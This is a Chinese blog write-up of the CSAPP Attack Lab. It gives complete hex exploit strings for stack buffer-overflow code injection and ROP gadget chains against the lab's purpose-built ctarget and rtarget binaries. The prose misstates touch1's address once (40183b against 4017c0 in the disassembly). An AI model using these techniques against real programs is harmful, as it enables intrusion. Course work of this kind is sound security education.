這是CSAPP的第四個實驗,這個實驗比較有意思,也比較難。通過這個實驗我們可以更加熟悉GDB的使用和機器代碼的棧和參數(shù)傳遞機制。
@
??在官網(wǎng)下載得到實驗所需文件解壓后會得到五個不同的文件。對六個文件簡要說明如下所示。
??README.txt:描述文件夾目錄
??ctarget:一個容易遭受code injection攻擊的可執(zhí)行程序。
??rtarget:一個容易遭受return-oriented programming攻擊的可執(zhí)行程序。
??cookie.txt一個8位的十六進(jìn)制碼,用于驗證身份的唯一標(biāo)識符。
??farm.c:目標(biāo)“gadget farm”的源代碼,用于產(chǎn)生return-oriented programming攻擊。
??hex2raw:一個生成攻擊字符串的工具。
HEX2RAW期望由一個或多個空格分隔的兩位十六進(jìn)制值。所以如果你想創(chuàng)建一個十六進(jìn)制值為0的字節(jié),需要將其寫為00。要創(chuàng)建單詞0xdeadbeef應(yīng)將“ ef be ad de”傳遞給HEX2RAW(請注意,小字節(jié)序需要反轉(zhuǎn))。
??編譯環(huán)境:Ubuntu 16.04,gcc 5.4.0。
??注意:由于我們使用的是外網(wǎng)編譯,所以在運行程序時加上-q參數(shù)。
CTARGET和RTARGET從標(biāo)準(zhǔn)輸入中讀取字符串,使用的getbuf函數(shù)如下所示。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
??函數(shù)Gets()類似于標(biāo)準(zhǔn)庫函數(shù)gets(),從標(biāo)準(zhǔn)輸入讀入一個字符串,將字符串(帶null結(jié)束符)存儲在指定的目的地址。二者都只會簡單地拷貝字節(jié)序列,無法確定目標(biāo)緩沖區(qū)是否足夠大以存儲下讀入的字符串,因此可能會超出目標(biāo)地址處分配的存儲空間。字符串不能包含字節(jié)值0x0a,這是換行符 \n 的ASCII碼,Gets()遇到這個字節(jié)時會認(rèn)為意在結(jié)束該字符串。
??如果用戶輸入并由getbuf讀取的字符串足夠短,則很明顯getbuf將返回1,如以下執(zhí)行示例所示:
??當(dāng)輸入一個很長的字符串時,將會出現(xiàn)段錯誤,具體如下圖所示:
??如上圖所示,出現(xiàn)了緩沖區(qū)溢出錯誤。我們可以利用緩沖區(qū)溢出來修改程序的返回值,使它指向我們要求的地址來完成攻擊。
CTARGET和RTARGET都采用幾個不同的命令行參數(shù):
-h:打印可能的命令行參數(shù)列表
-q:本地測評,不要將結(jié)果發(fā)送到評分服務(wù)器
-i FILE:提供來自文件的輸入,而不是來自標(biāo)準(zhǔn)輸入的輸入
??對于第1個例程,將不會注入新代碼,而是緩沖區(qū)溢出漏洞利用字符串將重定向程序來執(zhí)行現(xiàn)有程序。在CTARGET文件中中調(diào)用了函數(shù)getbuf。當(dāng)getbuf執(zhí)行完return語句后,程序通常會接著向下執(zhí)行第5行的內(nèi)容。
void test()
{
int val;
val = getbuf();
printf("NO explit. Getbuf returned 0x%x\n", val);
}
??如果我們想改變這種行為。在文件ctarget中,我們要把getbuf函數(shù)的返回值指向函數(shù)touch1,touch1代碼如下所示:
void touch1()
{
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
??執(zhí)行 objdump -d rtarget > rtarget.d 命令,將rtarget反匯編看下getbuf和touch1的反匯編代碼。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp # 開辟40字節(jié)的空間
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 ac 03 00 00 callq 401b60 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq # 正常返回,跳轉(zhuǎn)到test函數(shù)的第5行繼續(xù)執(zhí)行
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 3d 20 00 01 movl $0x1,0x203d0e(%rip) # 6054dc <vlevel>
4017cb: 00 00 00
4017ce: bf e5 31 40 00 mov $0x4031e5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 cb 05 00 00 callq 401dad <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
??由上述反匯編代碼可以知道,我們只要修改getbuf結(jié)尾處的ret指令,將其指向touch1函數(shù)的起始地址40183b就可以。要想將其準(zhǔn)確指向40183b,要首先將getbuf的40字節(jié)內(nèi)容填充滿,使其溢出,再將40183b覆蓋getbuf原來的返回地址即可。(這里不明白的可以看下文章面試官不講武德,居然讓我講講蠕蟲和金絲雀!)
??攻擊字符串如下所示,命名為attack1.txt。
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
執(zhí)行以下指令進(jìn)行測試
./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt
??第2階段涉及注入少量代碼作為攻擊字符串的一部分。在文件ctarget中,touch2的代碼如下所示:
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
??反匯編如下所示:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx # val存在%rdi中
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip) # 6054dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi # 6054e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 8b 05 00 00 callq 401dad <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 30 32 40 00 mov $0x403230,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 2d 06 00 00 callq 401e6f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>
??Level 2 和 Level 1 差別主要在Level 2 多了一個val參數(shù),我們在跳轉(zhuǎn)到Level 2 時,還要將其參數(shù)傳遞過去,讓他認(rèn)為是自己的cookie 0x59b997fa。
??因此,我們首先要將0x59b997fa賦值給%rdi,完成參數(shù)的傳遞。如何完成程序的跳轉(zhuǎn)呢?在第一次ret的時候,將ret地址寫為我們寫好的攻擊代碼,在攻擊代碼中,將touch2的地址0x4017ec 壓棧,匯編代碼再ret到touch2。我們能完成這個攻擊的前提是這個具有漏洞的程序在運行時的棧地址是固定的,不會因運行多次而改變,并且這個程序允許執(zhí)行棧中的代碼。匯編代碼如下所示:
mov $0x59b997fa,%rdi
pushq $0x4017ec #壓棧,ret時會將0x4017ec彈出執(zhí)行
ret
??使用如下指令將匯編代碼反匯編
gcc -c attack2.s
objdump -d attack2.o > attack2.d
??反匯編代碼如下所示:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
??內(nèi)存中存儲這段代碼的地方便是getbuf開辟的緩沖區(qū),我們利用gdb查看此時緩沖區(qū)的起始地址。
??注意:緩沖區(qū)地址為0x5561dca0(棧底),因為分配了一個0x28的棧,插入的代碼在字符串首,即棧頂(低地址),所以地址最終要取0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
//以上包含注入代碼填充滿整個緩沖區(qū)(40字節(jié))以致溢出。
78 dc 61 55 00 00 00 00
//用緩沖區(qū)的起始地址覆蓋掉原先的返回地址(注意字節(jié)順序)。
??最終測試結(jié)果正確
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
/**/
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
??與之前的類似,在getbuf函數(shù)返回的時候,執(zhí)行touch3而不是test。touch3函數(shù)傳入的是cookie的字符串表示。因此,我們要將%rdi設(shè)置為cookie的地址即字符串表示(0x59b997fa -> 35 39 62 39 39 37 66 61)。
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 3b 20 00 03 movl $0x3,0x203bd4(%rip) # 6054dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 3b 20 00 mov 0x203bd3(%rip),%edi # 6054e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 58 32 40 00 mov $0x403258,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt>
401931: bf 03 00 00 00 mov $0x3,%edi
401936: e8 72 04 00 00 callq 401dad <validate>
40193b: eb 21 jmp 40195e <touch3+0x64>
40193d: 48 89 da mov %rbx,%rdx
401940: be 80 32 40 00 mov $0x403280,%esi
401945: bf 01 00 00 00 mov $0x1,%edi
40194a: b8 00 00 00 00 mov $0x0,%eax
40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt>
401954: bf 03 00 00 00 mov $0x3,%edi
401959: e8 11 05 00 00 callq 401e6f <fail>
40195e: bf 00 00 00 00 mov $0x0,%edi
401963: e8 d8 f4 ff ff callq 400e40 <exit@plt>
??在touch3中調(diào)用了hexmatch函數(shù),這個函數(shù)中又開辟了110個字節(jié)的空間。如果我們把cookie放在棧中,執(zhí)行hexmatch函數(shù)可能會把cookie的數(shù)據(jù)覆蓋掉。我們可以直接通過植入指令來修改%rsp
棧指針的值。
fa 18 40 00 00 00 00 00 #touch3的地址
bf 90 dc 61 55 48 83 ec #mov edi, 0x5561dc90
30 c3 00 00 00 00 00 00 #sub rsp, 0x30 ret
35 39 62 39 39 37 66 61 #cookie
00 00 00 00 00 00 00 00
80 dc 61 55 #stack top的地址+8
??對程序RTARGET進(jìn)行代碼注入攻擊比對CTARGET進(jìn)行難度要大得多,因為它使用兩種技術(shù)來阻止此類攻擊:
??它使用棧隨機化,以使堆棧位置在一次運行與另一次運行中不同。這使得不可能確定注入代碼的位置。
??它會將保存堆棧的內(nèi)存部分標(biāo)記為不可執(zhí)行,因此,即使可以將程序計數(shù)器設(shè)置為注入代碼的開頭,程序也會因分段錯誤而失敗。
??幸運的是,聰明的人已經(jīng)設(shè)計出了通過執(zhí)行程序來在程序中完成有用的事情的策略。使用現(xiàn)有代碼,而不是注入新代碼。常用的是ROP策略, ROP的策略是識別現(xiàn)有程序中的字節(jié)序列,由一個或多個指令后跟指令ret組成。這種段稱為gadget.。圖2說明了如何設(shè)置堆棧以執(zhí)行n個gadget的序列。在此圖中,堆棧包含一系列g(shù)adget地址。每個gadget都包含一系列指令字節(jié),其中最后一個是0xc3,對ret指令進(jìn)行編碼。當(dāng)程序從該配置開始執(zhí)行ret指令時,它將啟動一系列g(shù)adget執(zhí)行,其中ret指令位于每個gadget的末尾,從而導(dǎo)致程序跳至下一個開始。通過不斷的跳轉(zhuǎn),拼湊出自己想要的結(jié)果來進(jìn)行攻擊的方式。(簡單來說:就是利用現(xiàn)有程序的匯編代碼,從不同的函數(shù)中挑選出自己想要的代碼,通過不斷跳轉(zhuǎn)的方式將這些代碼拼接起來組成我們需要的代碼。)
??下面是實驗手冊給出的部分指令所對應(yīng)的字節(jié)碼,我們需要在rtarget文件中挑選這些指令去執(zhí)行之前l(fā)evel2和level3的攻擊。
??這個實驗與之前的Level 2 很相似,所以我們要做的就是將cookie的值賦值給%rdi,執(zhí)行touch2。但是本題使用的是ROP攻擊形式,不可能直接有movq $ 0x59b997fa
,%rdi這樣的代碼。Write up提示可以用movq
, popq
等來完成這個任務(wù)。因此我們可以把 $0x59b997fa放在棧中,再popq %rdi,利用popq我們可以把數(shù)據(jù)從棧中轉(zhuǎn)移到寄存器中,而這個恰好是我們所需要的。代碼有了,那我們就去尋找gadget。
??思路確定了,接下來只需要根據(jù)Write up提供的encoding table來查找popq
對應(yīng)encoding是否在程序中出現(xiàn)了。很容易找到popq %rdi對應(yīng)的編碼5f在這里出現(xiàn),并且下一條就是ret:
402b18: 41 5f pop %r15
402b1a: c3 retq
??所以答案就是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2
??運行下結(jié)果如下所示
??這個實驗是在之前Level3的基礎(chǔ)上又增加了一個難度,具體要求是要用ROP跳轉(zhuǎn)到touch3,并且傳入一個和cookie一樣的字符串。因為棧是隨機化的,那么我們?nèi)绾卧跅5刂冯S機化的情況下去獲取我們放在棧中的字符串的首地址呢?我們只能通過操作%rsp的值來改變位置。在之前的Level 3 實驗中也提到過,touch3函數(shù)會調(diào)用hexmatch函數(shù),在hexmatch中會開辟110個字節(jié)的空間,如果字符串放在touch3函數(shù)返回地址的上方,那么cookie一定會被覆蓋。因此,我們應(yīng)該放在更高一點的位置,即使得hexmatch函數(shù)新開辟空間也夠不到cookie字符串。所以,字符串的地址一定是%rsp 加上一個數(shù)。
??可是WriteUp里給的encoding table都是mov pop nop 雙編碼等指令,并沒有加法,但是gadget farm中有一條自帶的指令,具體如下所示:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax # %rax = %rdi + %rsi
4019da: c3 retq
??我們可以通過這個函數(shù)來實現(xiàn)加法,因為lea (%rdi,%rsi,1) %rax就是%rax = %rdi + %rsi。所以,只要能夠讓%rdi和%rsi其中一個保存%rsp,另一個保存從stack中pop出來的偏移值,就可以表示cookie存放的地址,然后把這個地址mov到%rdi就大功告成了。
??對應(yīng)Write up里面的encoding table會發(fā)現(xiàn),從%rax并不能直接mov到%rsi,而只能通過%eax->%edx->%ecx->%esi來完成這個。所以,兵分兩路:
? ?1.把%rsp存放到%rdi中
??2.把偏移值(需要確定指令數(shù)后才能確定)存放到%rsi中
??然后,再用lea那條指令把這兩個結(jié)果的和存放到%rax中,再movq到%rdi中就完成了。
??值得注意的是,上面兩路完成任務(wù)的寄存器不能互換,因為從%eax到%esi這條路線上面的mov都是4個byte的操作,如果對%rsp的值采用這條路線,%rsp的值會被截斷掉,最后的結(jié)果就錯了。但是偏移值不會,因為4個bytes足夠表示了。
??最后結(jié)果:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00 #movq %rsp, %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
ab 19 40 00 00 00 00 00 #popq %rax
48 00 00 00 00 00 00 00 #偏移值
dd 19 40 00 00 00 00 00 #mov %eax, %edx
34 1a 40 00 00 00 00 00 #mov %edx, %ecx
13 1a 40 00 00 00 00 00 #mov %ecx, %esi
d6 19 40 00 00 00 00 00 #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00 #movq %rax, %rdi
fa 18 40 00 00 00 00 00 #touch3
35 39 62 39 39 37 66 61 #cookie
參考https://zhuanlan.zhihu.com/p/36807783
??測試結(jié)果如下:
??這幾個實驗挺有意思的,體驗了一把黑客的感覺。最后一個實驗還是有難度的,自己也參考網(wǎng)上其他人的解法。通過本次實驗也加強了自己對函數(shù)調(diào)用棧,字節(jié)序,GDB,匯編的理解。X86有些指令用多了也就記住了,不需要刻意去記,熟能生巧!
??養(yǎng)成習(xí)慣,先贊后看!如果覺得寫的不錯,歡迎關(guān)注,點贊,轉(zhuǎn)發(fā),謝謝!
有任何問題,均可通過公告中的二維碼聯(lián)系我